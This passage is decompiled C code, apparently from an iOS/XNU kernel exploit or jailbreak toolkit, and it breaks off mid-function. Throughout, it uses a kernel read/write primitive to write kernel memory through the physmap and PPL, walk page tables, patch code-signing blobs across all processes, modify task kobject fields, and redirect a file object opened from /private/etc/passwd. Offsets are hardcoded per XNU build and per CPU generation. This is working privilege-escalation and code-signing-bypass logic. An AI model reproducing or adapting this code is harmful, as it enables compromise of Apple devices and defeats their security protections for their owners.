      size_4a = check_krw_read_thunk_ok(v2, v104, (__int64)&v204);
      if ( size_4a )
        goto LABEL_442;
      LOWORD(v204) = u16_add10_clamped((unsigned __int16)v204);
    }
    else
    {
      v145 = 0;
      v104 = 0;
      if ( !v52 )
      {
LABEL_433:
        v136 = fcntl(v208, 59, &v213);
        BYTE1(name[0]) = 1;
        if ( v136 < 0 )
        {
          v138 = errno;
          v110 = errno;
          if ( v138 < 0 )
            v110 = -v110;
          goto LABEL_440;
        }
        if ( !v151
          || v58 != 0
          || (size_4a = 163856, !(unsigned int)kwrite_u16_at_plus8(v2, v104, v204))
          && (unsigned int)necp_set_opt_string_7((struct_krwCtx *)v2, *(uint32_t *)(v2 + 888), v145) )
        {
          size_4a = 0;
        }
LABEL_442:
        if ( v210 )
        {
          pthread_join(v210, 0);
          v210 = 0;
        }
        v33 = sizea;
        if ( !(uint64_t)v181 )
          goto LABEL_446;
LABEL_445:
        physmap_unmap_cached(v2, (__int64)&v181);
        goto LABEL_446;
      }
    }
    v105 = mach_thread_self();
    if ( !set_thread_abs_realtime_50(v105) )
      goto LABEL_430;
    v106 = mach_thread_self();
    size_4a = kwrite_task_kobj_field_via_physmap((struct_krwCtx *)v2, v106, 1, 1, 1);
    if ( size_4a )
      goto LABEL_442;
    thread_switch(0, 2, 0xAu);
    target_actb = 0;
    if ( !v149 )
    {
LABEL_423:
      if ( !v151 )
      {
LABEL_426:
        if ( v149 )
        {
          size_4a = scan_kernel_page_for_pattern(
                      (struct_krwCtx *)v2,
                      *(uint64_t *)(v2 + 6584),
                      bufSized,
                      v209,
                      (__int64 (__fastcall *)(__int64, __int64))get_dyld_slide_info,
                      0);
          if ( size_4a )
            goto LABEL_442;
          v135 = thread_resume(target_actb);
          if ( v135 )
          {
            v115 = v135 | 0x80000000;
            goto LABEL_441;
          }
          while ( !LOBYTE(name[0]) )
            ;
        }
        v58 = 0;
        goto LABEL_433;
      }
      if ( necp_set_opt_string_7((struct_krwCtx *)v2, *(uint32_t *)(v2 + 888), 0) )
      {
        size_4a = scan_kernel_page_for_pattern(
                    (struct_krwCtx *)v2,
                    *(uint64_t *)(v2 + 6576),
                    *(unsigned int *)(v2 + 6592),
                    v104,
                    (__int64 (__fastcall *)(__int64, __int64))dyld_fcntl59_mmap_setup,
                    (__int64)&v208);
        if ( size_4a )
          goto LABEL_442;
        goto LABEL_426;
      }
LABEL_467:
      v115 = 163856;
      goto LABEL_441;
    }
    size_4a = resolve_kfunc_via_page_dispatch(
                (struct_krwCtx *)v2,
                *(uint64_t *)(v2 + 6584),
                bufSized,
                (__int64 *)&v209,
                (__int64 (__fastcall *)(__int64, __int64))get_dyld_slide_info,
                0);
    if ( size_4a )
      goto LABEL_442;
    v246 = 0u;
    v247 = 0u;
    v244 = 0u;
    v245 = 0u;
    v242 = 0u;
    v243 = 0u;
    v240 = 0u;
    v241 = 0u;
    v238 = 0u;
    v239 = 0u;
    v236 = 0u;
    v237 = 0u;
    v234 = 0u;
    v235 = 0u;
    v232 = 0u;
    v233 = 0u;
    v230 = 0u;
    v231 = 0u;
    v228 = 0u;
    v229 = 0u;
    v226 = 0u;
    v227 = 0u;
    v224 = 0u;
    v225 = 0u;
    v222 = 0u;
    v223 = 0u;
    v220 = 0u;
    v221 = 0u;
    v218 = 0u;
    v219 = 0u;
    v216 = 0u;
    v217 = 0u;
    if ( !(unsigned int)kwrite_with_retry(v2, v209, (__int64)&v216, bufSized) )
      goto LABEL_467;
    v107 = pgtable_walk_wrapper(v2, (v209 + 16) & ~*(uint64_t *)(v2 + 392), __src);
    if ( v107 )
    {
      size_4a = physmap_map_cached((struct_krwCtx *)v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181);
      if ( size_4a )
        goto LABEL_442;
      LOWORD(name[0]) = 0;
      *((uint64_t *)&v175 + 1) = v181 + ((v209 + 16) & *(uint64_t *)(v2 + 392));
      v108 = (void *(__cdecl *)(void *))nullsub_1(spinlock_acquire_clear_bit);
      v109 = pthread_create_suspended_np(&v210, 0, v108, name);
      if ( v109 )
      {
        if ( v109 >= 0 )
          v110 = v109;
        else
          v110 = -v109;
LABEL_440:
        v115 = v110 | 0x40000000;
        goto LABEL_441;
      }
      target_actb = pthread_mach_thread_np(v210);
      if ( set_thread_abs_realtime_50(target_actb) )
      {
        size_4a = kwrite_task_kobj_field_via_physmap((struct_krwCtx *)v2, target_actb, 0, 1, 96);
        if ( size_4a )
          goto LABEL_442;
        goto LABEL_423;
      }
LABEL_430:
      v115 = 163896;
      goto LABEL_441;
    }
    v115 = 163878;
LABEL_441:
    size_4a = v115;
    goto LABEL_442;
  }
  v62 = *(uint64_t *)(v2 + 568);
  v33 = sizea;
  if ( !v62 )
  {
    bufSizeb = v52;
    name[0] = 0;
    if ( !krw_task_for_pid(v2, 1, name) )
    {
      v64 = 163843;
      goto LABEL_254;
    }
    *(uint64_t *)&v216 = 0;
    if ( (unsigned int)walk_proc_and_get_csblob_addr((struct_krwCtx *)v2, name[0], (unsigned __int64 *)&v216) != 1
      || (v75 = walk_task_csblob_chain((struct_krwCtx *)v2, name[0], (__int64 *)&v216, 0, 0)) == 0 )
    {
      mach_port_deallocate(mach_task_self_, name[0]);
      size_4a = 163843;
      v33 = sizea;
      goto LABEL_446;
    }
    v76 = v75;
    *(uint64_t *)(v2 + 568) = v75;
    mach_port_deallocate(mach_task_self_, name[0]);
    v62 = v76;
    v33 = sizea;
    LOBYTE(v52) = bufSizeb;
  }
  v210 = 0;
  *(uint64_t *)&v177 = 0;
  v175 = 0u;
  v176 = 0u;
  *(__int128 *)name = 0u;
  v184 = 0;
  v183 = 0u;
  v182 = 0u;
  v181 = 0u;
  *(uint64_t *)&v220 = 0;
  v218 = 0u;
  v219 = 0u;
  v216 = 0u;
  v217 = 0u;
  v63 = *(uint32_t *)(v2 + 320);
  if ( v63 != 8019 && v63 != 7195 )
  {
    v64 = 163884;
    goto LABEL_254;
  }
  if ( *(uint64_t *)(v2 + 344) > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
  {
    v64 = 708616;
LABEL_254:
    size_4a = v64;
    goto LABEL_446;
  }
  v144 = v62;
  bufSizec = v52;
  v80 = get_version_specific_offset((struct_krwCtx *)v2);
  size_4a = 163858;
  if ( !v80 )
    goto LABEL_363;
  v81 = v80;
  if ( *(uint64_t *)(v2 + 344) <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
  {
    v81 = voucher_attr_recipe_scan(v2, v80);
    if ( !v81 )
      goto LABEL_363;
  }
  v82 = 1;
  do
  {
    v83 = v82;
    v82 *= 2;
  }
  while ( ((unsigned int)v83 & v81) == 0 );
  v84 = mach_thread_self();
  v85 = get_task_kobject_addr((struct_krwCtx *)v2, v84);
  if ( !v85 )
  {
    v119 = 163877;
LABEL_362:
    size_4a = v119;
    goto LABEL_363;
  }
  *(uint64_t *)target_act = v85 + 152;
  pgtable_walk_wrapper(v2, (v85 + 152) & ~*(uint64_t *)(v2 + 392), (__int64)__src);
  if ( !v86 )
  {
LABEL_361:
    v119 = 163878;
    goto LABEL_362;
  }
  size_4a = physmap_map_cached((struct_krwCtx *)v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181);
  if ( size_4a )
    goto LABEL_363;
  v148 = 0;
  v150 = 0;
  *((uint64_t *)&v220 + 1) = (*(uint64_t *)(v2 + 392) & *(uint64_t *)target_act) + v181;
  v140 = v83 - 1;
  while ( 1 )
  {
    v87 = **((uint64_t **)&v220 + 1);
    if ( !validate_kaddr_range(v2, **((uint64_t **)&v220 + 1)) || (*(uint64_t *)(v2 + 392) & v87) != 0 )
    {
      size_4a = 163878;
      v88 = v148;
      v89 = v150;
      goto LABEL_223;
    }
    *(uint64_t *)(*((uint64_t *)&v220 + 1) + 8LL) = v87;
    *(uint64_t *)target_acta = v87;
    if ( v87 != v148 )
    {
      if ( *(uint64_t *)name )
        physmap_unmap_cached(v2, (__int64)name);
      pgtable_walk_wrapper(v2, v87, (__int64)__src);
      if ( !v91 )
        goto LABEL_361;
      size_4a = physmap_map_cached((struct_krwCtx *)v2, v180 & 0xFFFFFFFFC000LL, (__int64)name);
      if ( size_4a )
        goto LABEL_363;
    }
    LOWORD(v216) = 0;
    *(uint64_t *)&v218 = v87;
    *((uint64_t *)&v216 + 1) = *(uint64_t *)name;
    *(uint64_t *)&v217 = v144;
    BYTE8(v218) = bufSizec;
    *(uint64_t *)&v219 = v140;
    DWORD2(v219) = *(uint32_t *)(v2 + 576);
    v92 = (void *(__cdecl *)(void *))nullsub_1(scan_iosurface_slot_realtime);
    v93 = pthread_create(&v210, 0, v92, &v216);
    if ( v93 )
    {
      if ( v93 >= 0 )
        v132 = v93;
      else
        v132 = -v93;
      v119 = v132 | 0x40000000;
      goto LABEL_362;
    }
    while ( !(uint8_t)v216 )
      ;
    v94 = fcntl(v31, 59, &v213);
    BYTE1(v216) = 1;
    if ( (v94 & 0x80000000) == 0 )
      break;
    v95 = errno;
    v96 = errno;
    if ( v95 >= 0 )
      v97 = v96;
    else
      v97 = -v96;
    if ( v150 && !(v150 % 5) )
      semaphore_timedwait_ns(v2, 0x3E8u);
    if ( v150 <= 3 )
    {
      v90 = v150 + 1;
      v88 = *(uint64_t *)target_acta;
      goto LABEL_224;
    }
    size_4a = v97 | 0x40000000;
    *(uint32_t *)(v2 + 576) = 0;
    v89 = v150;
    v88 = *(uint64_t *)target_acta;
LABEL_223:
    v90 = v89 + 1;
    if ( v90 == 128 )
      goto LABEL_363;
LABEL_224:
    v150 = v90;
    v148 = v88;
    if ( v210 )
    {
      pthread_join(v210, 0);
      v210 = 0;
    }
  }
  size_4a = 0;
  if ( HIDWORD(v219) )
    *(uint32_t *)(v2 + 576) = HIDWORD(v219);
LABEL_363:
  if ( v210 )
  {
    pthread_join(v210, 0);
    v210 = 0;
  }
  v33 = sizea;
  if ( *(uint64_t *)name )
    physmap_unmap_cached(v2, (__int64)name);
  if ( (uint64_t)v181 )
    goto LABEL_445;
LABEL_446:
  if ( !bufSize_4a )
  {
    if ( size_4a )
      goto LABEL_451;
    goto LABEL_59;
  }
  v120 = 5;
  if ( (unsigned int)physmap_kwrite_chain_entry((struct_krwCtx *)v2, *((uint64_t *)v3 + 4), v164, &v171, 1) && !size_4a )
  {
LABEL_59:
    v204 = v170;
    if ( !(unsigned int)csblob_chain_walk_offsets((struct_krwCtx *)v2, v3[17], (__int64 *)&v204, 1u, (__int64)&v195) )
      goto LABEL_451;
    if ( bufa < 0 )
    {
      if ( v195 != *v3 )
      {
        v39 = 16;
        if ( *(uint64_t *)(v2 + 344) > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v39 = 32;
        if ( !(unsigned int)kwritebuf_universal((uint64_t *)v2, v39 + v196, v3, 4u) )
          goto LABEL_451;
      }
      v40 = v3[20];
      if ( (v201 == 0) == (v40 != 0) )
      {
        v69 = v33;
        v70 = *(uint64_t *)(v2 + 344);
        v71 = 128;
        if ( v70 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v71 = 136;
        bufc = v71;
        v72 = csblob_find_entry((__int64)&v195, v199, -86111230);
        if ( !v72 )
          goto LABEL_451;
        if ( v40 )
        {
          if ( bswap32(v72[2]) >> 9 < 0x101 )
            goto LABEL_451;
          v73 = v72[12];
          if ( !v73 )
            goto LABEL_451;
          v74 = v197 + v200 + bswap32(v73);
        }
        else
        {
          v74 = 0;
        }
        v5 = v70 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
        v33 = v69;
        if ( v5 || (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 || !v74 )
        {
          if ( !kwrite64_dispatch((struct_krwCtx *)v2, v196 + bufc, v74) )
            goto LABEL_451;
        }
      }
      v27 = v33 & 1;
      v3 = &v195;
      goto LABEL_88;
    }
    v27 = v33 & 1;
    v3 = &v195;
    v9 = v170;
LABEL_51:
    v28 = v205;
    if ( (unsigned __int64)v205 > *((uint64_t *)v3 + 2) )
      goto LABEL_451;
    v170 = v9;
    v29 = krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
    v30 = *((uint64_t *)v3 + 3);
    if ( v29 )
    {
      if ( !(unsigned int)ppl_kwritebuf(v2, v30, v207, (int)v28) )
        goto LABEL_451;
    }
    else if ( !(unsigned int)kwritebuf_universal((uint64_t *)v2, v30, v207, (mach_vm_size_t)v28) )
    {
      goto LABEL_451;
    }
LABEL_88:
    if ( v202 != v170 )
    {
      if ( !(unsigned int)proc_kread_and_patch_slot((struct_krwCtx *)v2, v3[17], v202) )
        goto LABEL_451;
      v202 = v170;
      if ( !(unsigned int)kwrite_with_retry(v2, v8, (__int64)&v202, 8) )
        goto LABEL_451;
      v41 = *(uint64_t *)(v2 + 344);
      if ( v41 < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) || ((v27 ^ 1) & 1) != 0 )
        goto LABEL_90;
      if ( !(unsigned int)necp_set_opt_string_6(v2, v3[17]) )
        goto LABEL_451;
      v45 = *(uint64_t *)(v2 + 344);
      if ( (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 && v45 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      {
        if ( !(unsigned int)patch_csblob_in_all_procs((struct_krwCtx *)v2, v3[17], *(uint64_t *)(v2 + 912)) )
          goto LABEL_451;
      }
      else
      {
        v77 = 168;
        if ( v45 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v77 = 160;
        if ( !kread_physmap_decorated((struct_krwCtx *)v2, *((uint64_t *)v3 + 1) + v77, (unsigned __int64 *)&v216) )
          goto LABEL_451;
        if ( *(uint64_t *)(v2 + 912) != (uint64_t)v216 )
        {
          if ( (unsigned int)kread_and_kwrite_u16_plus8_bumped(v2, v216) )
            goto LABEL_451;
          necp_set_opt_string_7((struct_krwCtx *)v2, *(uint32_t *)(v2 + 888), v216);
          if ( !v78 )
            goto LABEL_451;
          if ( *(int *)(v2 + 320) >= 10002 )
          {
            v79 = get_kobj_and_resolve_kaddr((struct_krwCtx *)v2, v3[17], 0);
            if ( !v79 || !(unsigned int)vm_attr_increment_offset_bounded((struct_krwCtx *)v2, v79, 16) )
              goto LABEL_451;
          }
        }
      }
    }
    v41 = *(uint64_t *)(v2 + 344);
LABEL_90:
    if ( v41 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) == 0 )
      goto LABEL_335;
    v42 = v3[17];
    v43 = *((uint64_t *)v3 + 1);
    *(uint64_t *)&v216 = v43;
    *(uint64_t *)name = 0;
    *(uint64_t *)&v181 = 0;
    __src[0] = 0;
    if ( v41 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    {
      v44 = 192;
    }
    else if ( *(int *)(v2 + 320) <= 8791 )
    {
      v44 = 176;
    }
    else
    {
      v44 = 184;
    }
    if ( !kread_physmap_decorated((struct_krwCtx *)v2, v44 + v43, (unsigned __int64 *)&v181) )
      goto LABEL_451;
    if ( !(uint64_t)v181 )
      goto LABEL_451;
    if ( !validate_kaddr_range(v2, v181) )
      goto LABEL_451;
    v65 = task_struct_field_kread((struct_krwCtx *)v2, v42);
    if ( !v65 )
      goto LABEL_451;
    v66 = v65;
    if ( krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
    {
      v210 = 0;
      if ( !kread_physmap_decorated((struct_krwCtx *)v2, v66 + 176, (unsigned __int64 *)&v210)
        || !v210
        || !validate_kaddr_range(v2, (__int64)v210)
        || !kread_physmap_decorated((struct_krwCtx *)v2, (unsigned __int64)&v210->__opaque[48], (unsigned __int64 *)name) )
      {
        goto LABEL_451;
      }
      v67 = 32;
    }
    else
    {
      if ( krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_CPU_A14_A15_A16_MASK) )
      {
        v116 = 144;
      }
      else
      {
        if ( !krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_CPU_A12_A13_MASK) )
          goto LABEL_451;
        v116 = 136;
      }
      if ( !kread_physmap_decorated((struct_krwCtx *)v2, v116 + v66, (unsigned __int64 *)name) )
        goto LABEL_451;
      v67 = 40;
    }
    if ( !*(uint64_t *)name
      || !validate_kaddr_range(v2, *(__int64 *)name)
      || !kread_physmap_decorated((struct_krwCtx *)v2, *(uint64_t *)name + v67, __src)
      || !__src[0]
      || !validate_kaddr_range(v2, __src[0]) )
    {
      goto LABEL_451;
    }
    if ( __src[0] == (uint64_t)v181 )
    {
LABEL_335:
      v120 = 0;
      goto LABEL_452;
    }
    v211 = 0;
    v206 = 0;
    v203 = 0;
    v209 = 0;
    v210 = 0;
    newBytes = 0xFFFFFFFFLL;
    v208 = 0;
    if ( krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
    {
      v124 = 20;
      goto LABEL_373;
    }
    v133 = *(uint32_t *)(v2 + 320);
    if ( v133 <= 8791 )
    {
      v124 = 160;
      if ( (unsigned int)(v133 - 8019) >= 2 && v133 != 6153 && v133 != 7195 )
        goto LABEL_451;
      goto LABEL_373;
    }
    if ( v133 == 10002 || v133 == 8796 )
    {
      v124 = 496;
LABEL_373:
      if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, v181 + v124, 4, &newBytes) )
        goto LABEL_451;
      if ( (unsigned int)newBytes > 0x400 )
        goto LABEL_451;
      LODWORD(newBytes) = newBytes + 1;
      if ( !(unsigned int)ppl_kwritebuf(v2, v181 + v124, &newBytes, 4) )
        goto LABEL_451;
      if ( !ppl_kwrite_physmap_checked((struct_krwCtx *)v2, *(uint64_t *)name + v67, v181) )
        goto LABEL_451;
      if ( !krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
      {
        __src[0] = v181;
        v126 = kread_task_struct((struct_krwCtx *)v2, v42);
        if ( !v126 )
          goto LABEL_451;
        v127 = v126;
        if ( !(unsigned int)get_csblob_offset_pair(v2, (int *)&v211, (int *)&v206) )
          goto LABEL_451;
        if ( !kread_physmap_decorated((struct_krwCtx *)v2, v127 + v211, &v209) )
          goto LABEL_451;
        if ( !v209 )
          goto LABEL_451;
        if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, v127 + v206, 8, &v210) )
          goto LABEL_451;
        if ( !(unsigned int)get_csblob_size_pair(v2, &v203, (uint32_t *)&newBytes + 1) )
          goto LABEL_451;
        if ( !kread_physmap_decorated((struct_krwCtx *)v2, v209 + (unsigned int)v203, &v208) )
          goto LABEL_451;
        if ( !v208 )
          goto LABEL_451;
        if ( !kread_physmap_decorated((struct_krwCtx *)v2, v208 + HIDWORD(newBytes), (unsigned __int64 *)&v216) )
          goto LABEL_451;
        v128 = v216;
        if ( !(uint64_t)v216 )
          goto LABEL_451;
        while ( kread_physmap_decorated((struct_krwCtx *)v2, v128 + v44, (unsigned __int64 *)&v181)
             && (uint64_t)v181
             && validate_kaddr_range(v2, v181) )
        {
          if ( (uint64_t)v181 == __src[0] )
          {
            v186 = 0;
            if ( *(uint64_t *)(v2 + 344) <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) == 0 )
              break;
            v129 = *(int *)(v2 + 320) <= 8791 ? 80LL : 400LL;
            v130 = v129 + v181;
            if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, v129 + v181, 1, &v185)
              || v185 > 1u
              || v185 && !(unsigned int)ppl_kwritebuf(v2, v130, &v186, 1) )
            {
              break;
            }
          }
          v131 = kread_physmap_decorated((struct_krwCtx *)v2, v216, (unsigned __int64 *)&v216);
          v128 = v216;
          if ( !v131 || !(uint64_t)v216 )
            goto LABEL_470;
        }
        v128 = v216;
LABEL_470:
        if ( v128 )
          goto LABEL_451;
      }
      goto LABEL_335;
    }
    if ( v133 == 8792 )
    {
      v124 = 480;
      goto LABEL_373;
    }
LABEL_451:
    v120 = 5;
  }
LABEL_452:
  if ( v198 != -1 )
    csblob_free_entry((__int64)&v195);
  v139 = v193;
  if ( v193 != -1 )
  {
    if ( v188 && v189 && !kwrite64(v2, v188, v189) )
      v120 = 5;
    close(v139);
  }
  if ( v207 )
    free(v207);
  v123 = v120 == 0;
LABEL_463:
  v12 = v123;
LABEL_466:
  *(uint32_t *)(a1 + 16) = v12;
}
// 30824: variable 'v78' is possibly undefined
// 308F8: variable 'v86' is possibly undefined
// 309E8: variable 'v91' is possibly undefined
// 30D14: variable 'v103' is possibly undefined
// 30EC8: variable 'v107' is possibly undefined
// 31428: variable 'v125' is possibly undefined
// 316C0: variable 'v134' is possibly undefined
// 317C0: variable 'v137' is possibly undefined
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000031914) ----------------------------------------------------
uint32_t *__fastcall csblob_alloc_and_fill_slots(__int64 a1, uint64_t *a2, size_t *a3, unsigned int *a4, unsigned int *a5, unsigned int *a6)
{
  int v10; // w8
  unsigned int *v11; // x9
  __int64 v12; // x8
  unsigned int v13; // w28
  __int64 v14; // x11
  __int64 v15; // x12
  int v16; // w13
  __int64 v18; // x10
  int v19; // w9
  __int64 v20; // x11
  bool v21; // zf
  unsigned int v22; // w12
  unsigned int v23; // w8
  int v24; // w25
  uint32_t *result; // x0
  unsigned int v26; // w10
  bool v27; // cf
  bool v28; // cc
  int v29; // w8
  int v30; // w8
  int v31; // w10
  size_t v32; // x21
  uint32_t *v33; // x26
  unsigned int *v34; // x20
  unsigned int v35; // w8
  __int64 v36; // x21
  unsigned __int64 v37; // x22
  __int64 v38; // x8
  uint32_t *v39; // x19
  unsigned int v40; // w25
  int v41; // w9
  unsigned int *v42; // x10
  __int64 v43; // x8
  unsigned int *v44; // x1
  size_t v45; // x27
  bool v46; // zf
  int v47; // w9
  size_t v48; // [xsp+8h] [xbp-78h]
  uint64_t *v49; // [xsp+10h] [xbp-70h]
  size_t *v50; // [xsp+18h] [xbp-68h]

  v10 = *(uint32_t *)(a1 + 48);
  if ( v10 )
  {
    if ( v10 != 1 )
      return 0;
    v11 = *(unsigned int **)(a1 + 56);
    v12 = *v11;
    if ( (uint32_t)v12 )
    {
      v13 = 0;
      v14 = *((uint64_t *)v11 + 1) + 8LL;
      v15 = *v11;
      do
      {
        if ( *(uint32_t *)(v14 - 8) == *(uint32_t *)(a1 + 64) )
        {
          v16 = *(uint32_t *)(*(uint64_t *)v14 + 40LL);
          if ( (v16 & 0x3FFF) == 0 && v16 != 0 )
            v13 = *(uint32_t *)(*(uint64_t *)v14 + 40LL);
        }
        v14 += 16;
        --v15;
      }
      while ( v15 );
      v18 = *((uint64_t *)v11 + 1) + 8LL;
      v19 = 12;
      v20 = v12;
      do
      {
        v21 = *(uint32_t *)(v18 - 8) != 5 || v13 == 0;
        v22 = v13;
        if ( v21 )
          v22 = bswap32(*(uint32_t *)(*(uint64_t *)v18 + 4LL));
        v19 += 8 + v22;
        v18 += 16;
        --v20;
      }
      while ( v20 );
    }
    else
    {
      v13 = 0;
      v19 = 12;
    }
    v26 = *(uint32_t *)(a1 + 92);
    v27 = v26 >= (unsigned int)v12;
    v29 = v26 - v12;
    v28 = v29 != 0 && v27;
    v30 = 8 * v29;
    if ( v28 )
      v31 = v30;
    else
      v31 = 0;
    v23 = v31 + v19;
    v24 = v31 + 12;
  }
  else
  {
    v13 = 0;
    v23 = bswap32(*(uint32_t *)(*(uint64_t *)(a1 + 56) + 4LL));
    v24 = 12;
  }
  v32 = v23;
  result = malloc(v23);
  if ( result )
  {
    v33 = result;
    bzero(result, v32);
    if ( *(uint32_t *)(a1 + 48) == 1 )
    {
      v49 = a2;
      v50 = a3;
      v34 = *(unsigned int **)(a1 + 56);
      *v33 = -1072898310;
      v35 = bswap32(*v34);
      v48 = v32;
      v33[1] = bswap32(v32);
      v33[2] = v35;
      if ( *v34 )
      {
        v36 = 0;
        v37 = 0;
        v38 = *((uint64_t *)v34 + 1);
        v39 = v33 + 4;
        v40 = v24 + 8 * *v34;
        while ( 1 )
        {
          v41 = *(uint32_t *)(v38 + v36);
          if ( v41 == *(uint32_t *)(a1 + 64) )
          {
            *a4 = v40;
            v41 = *(uint32_t *)(v38 + v36);
          }
          v42 = a5;
          if ( v41 == 5 )
            goto LABEL_37;
          if ( v41 == 7 )
            break;
LABEL_38:
          v43 = v38 + v36;
          *(v39 - 1) = bswap32(*(uint32_t *)v43);
          *v39 = bswap32(v40);
          v44 = *(unsigned int **)(v43 + 8);
          v45 = bswap32(v44[1]);
          memcpy((char *)v33 + v40, v44, v45);
          v38 = *((uint64_t *)v34 + 1);
          if ( v13 )
            v46 = *(uint32_t *)(v38 + v36) == 5;
          else
            v46 = 0;
          if ( v46 )
            v47 = v13;
          else
            v47 = v45;
          v40 += v47;
          ++v37;
          v36 += 16;
          v39 += 2;
          if ( v37 >= *v34 )
            goto LABEL_45;
        }
        v42 = a6;
LABEL_37:
        *v42 = v40;
        goto LABEL_38;
      }
LABEL_45:
      *v49 = v33;
      *v50 = v48;
      return &def_3E8F0 + 1;
    }
    else
    {
      memcpy(v33, *(const void **)(a1 + 56), bswap32(*(uint32_t *)(*(uint64_t *)(a1 + 56) + 4LL)));
      *a2 = v33;
      *a3 = v32;
      result = &def_3E8F0 + 1;
      *a4 = 0;
    }
  }
  return result;
}
// 0: using guessed type int def_3E8F0;

//----- (0000000000031B90) ----------------------------------------------------
__int64 __fastcall wire_proc_page_via_kobject(struct_krwCtx *a1, __int64 a2, mach_vm_address_t *a3, uint64_t *a4, int *a5)
{
  __int64 v10; // x25
  __int64 v11; // x23
  int v12; // w8
  __int64 v13; // x26
  bool v15; // zf
  __int64 v16; // x24
  int xnuMajorVersion; // w8
  int v19; // w22
  int v21; // w0
  int v22; // w23
  unsigned __int64 v23; // x0
  mach_vm_address_t v24; // x25
  int v25; // w23
  int v27; // [xsp+8h] [xbp-68h] BYREF
  int v28; // [xsp+Ch] [xbp-64h] BYREF
  int v29; // [xsp+10h] [xbp-60h] BYREF
  int v30; // [xsp+14h] [xbp-5Ch] BYREF
  __int64 v31; // [xsp+18h] [xbp-58h] BYREF
  mach_port_name_t name[2]; // [xsp+20h] [xbp-50h] BYREF
  __int64 v33; // [xsp+28h] [xbp-48h] BYREF

  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
  {
    v11 = 0;
    v33 = 0;
    name[0] = 0;
    xnuMajorVersion = a1->xnuMajorVersion;
    if ( xnuMajorVersion <= 8018 )
    {
      if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 )
        return v11;
    }
    else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 8792 )
    {
      return v11;
    }
    v21 = open("/dev/null", 0);
    if ( (v21 & 0x80000000) == 0 )
    {
      v22 = v21;
      if ( !(unsigned int)j__fileport_makeport(v21, name) )
      {
        v23 = get_task_kobject_addr(a1, name[0]);
        if ( v23 )
        {
          v24 = v23 + 56;
          if ( kread_physmap_decorated(a1, v23 + 56, (unsigned __int64 *)&v33) && kwrite64((__int64)a1, v24, a2) )
          {
            *a5 = v22;
            *a3 = v24;
            *a4 = v33;
            mach_port_destroy(mach_task_self_, name[0]);
            return 1;
          }
        }
        mach_port_destroy(mach_task_self_, name[0]);
      }
      close(v22);
    }
    return 0;
  }
  v10 = 0;
  v11 = 0;
  *a3 = 0;
  *a4 = 0;
  *(uint64_t *)name = 0;
  v33 = 0;
  v31 = 0;
  v29 = -1;
  v30 = -1;
  v27 = -1;
  v28 = -1;
  v12 = a1->xnuMajorVersion;
  v13 = 72;
  if ( v12 > 8791 )
  {
    v16 = 0;
    if ( v12 != 8792 )
    {
      if ( v12 != 10002 && v12 != 8796 )
        return v11;
      v16 = 116;
      v10 = 64;
      v13 = 80;
    }
  }
  else
  {
    v15 = (unsigned int)(v12 - 8019) < 2 || v12 == 6153 || v12 == 7195;
    v16 = 0;
    if ( !v15 )
      return v11;
  }
  v19 = open("/private/etc/passwd", 0);
  if ( v19 < 0 )
  {
LABEL_27:
    v11 = 0;
    if ( v19 == -1 )
      return v11;
  }
  else
  {
    while ( !(unsigned int)validate_port_set_chain(a1, v19, &v33) && kread_u32((__int64)a1, v33 + 84, &v30) )
    {
      if ( (v30 & 0x4000) != 0 )
      {
        if ( kread_physmap_decorated(a1, v33 + 64, (unsigned __int64 *)&v31)
          && validate_kaddr_range((__int64)a1, v31)
          && kread_physmap_decorated(a1, v31 + v13, (unsigned __int64 *)name)
          && validate_kaddr_range((__int64)a1, *(__int64 *)name)
          && (a1->xnuMajorVersion < 8796
           || kread_u32((__int64)a1, v33 + v16, &v28)
           && kread_u32((__int64)a1, v31 + v10, &v27)
           && kread_u32((__int64)a1, v16 + a2, &v29)
           && noppl_kwrite32((__int64)a1, v31 + v10, v29)
           && noppl_kwrite32((__int64)a1, v33 + v16, v29))
          && kwrite64((__int64)a1, v31 + v13, a2) )
        {
          v25 = open("/private/etc/passwd", 0);
          if ( kwrite64((__int64)a1, v31 + v13, *(__int64 *)name)
            && (a1->xnuMajorVersion < 8796
             || noppl_kwrite32((__int64)a1, v33 + v16, v28) && noppl_kwrite32((__int64)a1, v31 + v10, v27))
            && (v25 & 0x80000000) == 0 )
          {
            if ( !(unsigned int)validate_port_set_chain(a1, v25, &v33) && v33 == a2 )
            {
              *a5 = v25;
              v11 = 1;
